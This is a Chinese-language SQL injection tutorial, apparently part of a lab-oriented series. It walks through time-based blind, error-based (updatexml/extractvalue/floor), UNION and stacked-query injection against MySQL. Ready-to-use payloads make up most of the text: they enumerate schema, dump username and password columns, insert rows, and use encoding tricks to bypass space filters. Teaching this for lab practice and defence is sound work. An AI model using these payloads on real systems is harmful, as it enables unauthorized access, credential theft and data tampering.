接着SQL基础上篇内容的Boolean注入--布尔盲注,主要讲解注入技术的5种分类,基于但不局限于这5种方法,实际使用中可能还有很多思路。
时间型盲注
盲注是在SQL注入攻击过程中,服务器关闭了错误回显,单纯通过服务器返回内容的变化来判断是否存在SQL注入的方式 。
可以用benchmark,sleep等造成延时效果的函数。
利用sleep判断数据库名长度
' and sleep(5) and 1=1--+ 页面返回不正常,延时5秒
' and sleep(5) and 1=2--+ 页面返回不正常,不延时
and if(length(database())>1,sleep(5),1)
if(exp1,exp2,exp3) --C语言的三目运算符类似,exp1执行成功继续执行exp2,最后执行exp3,相反exp1条件错误,不继续执行exp2和exp3
获取数据库名
and if(substr(database(),1,1)='a',sleep(5),1)--+ 以此类推同布尔盲注最后猜解出用户数据
可以通过dnslog加速注入
报错注入
在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。
常用的MySQL报错函数
--xpath语法错误
extractvalue() 查询节点内容
updatexml() 修改查询到的内容
它们的第二个参数都要求是符合xpath语法的字符串 如果不满足要求则会报错,并且将查询结果放在报错信息里
主键重复(duplicate entry)
floor() 返回小于等于该值的最大整数
只要是count,rand(),group by 三个连用就会造成这种主键重复报错
获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 0x7e是"~"符号的16进制,在这作为分隔符
获取表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+
获取字段名
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+
取数据
' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+
其它函数payload语法:
--extractvalue ' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
--floor() ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
Union注入
在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
?id=1' and 1=1# 页面返回正常
?id=1' and 1=2# 页面返回不正常
利用order by猜测字段
?id=1%27%20order%0aby%0c2%23 --返回正常
--上边用%0a和%0c的URL编码可以代替空格,到数据库后就是空格的意思
?id=1%27 order by 3# --返回正常
?id=1%27 order by 4# --返回正常
?id=1%27 order by 5# --返回错误
这就证明字段总数为4
利用union联合查询
?id=-1%27 union select 1,2,3,4# --看哪个字段可以显示信息,利用它获取数据库信息
tips: 修改id为一个不存在的id,强行报错
因为代码默认只返回第一条结果,不会返回 union select 的结果
获取数据库信息
id=-1%27 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version())#
user() --获取数据库用户名
database() --获取数据库名
version() --获取数据库版本信息
concat_ws(separator,str1,str2,...) 含有分隔符的连接字符串 -
里边这的separator分隔符,用 char() 函数把 空格:空格 的ASCII码输出
其它信息 @@datadir 数据库路径
@@version_compile_os 操作系统版本
查询数据库的表
id=-1%27 union select 1,2,3,table_name from information_schema.tables where table_schema='sqli' limit 0,1#
table_schema=数据库名16进制或者用单引号括起来
改变limit 0,1中前一个参数,得到所有表
查询数据库字段
id=-1%27 union select 1,2,3,column_name from information_schema.columns where table_schema=%27数据库名%27 and table_name=%27表名%27limit 0,1#
脱裤,获取数据
union select 1,2,3,group_concat(name,password)%20from%20sc# --用字段名从表中取数据 group_concat(str1,str2,...) --连接一个组的所有字符串
堆查询注入
从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
例如下面的PHP页面调用sql语句时用的是mysqli_multi_query()函数,所以此时可以使用堆叠注入,如图:
此时我们尝试注入语句:'; insert into users(id,username,password) value (66,'acca','bbc')--+,注入后发现数据库内新增一条数据如图:
那我们sql注入基础就介绍到这里,感兴趣的话可以安装个sqli-labs的靶场练习一下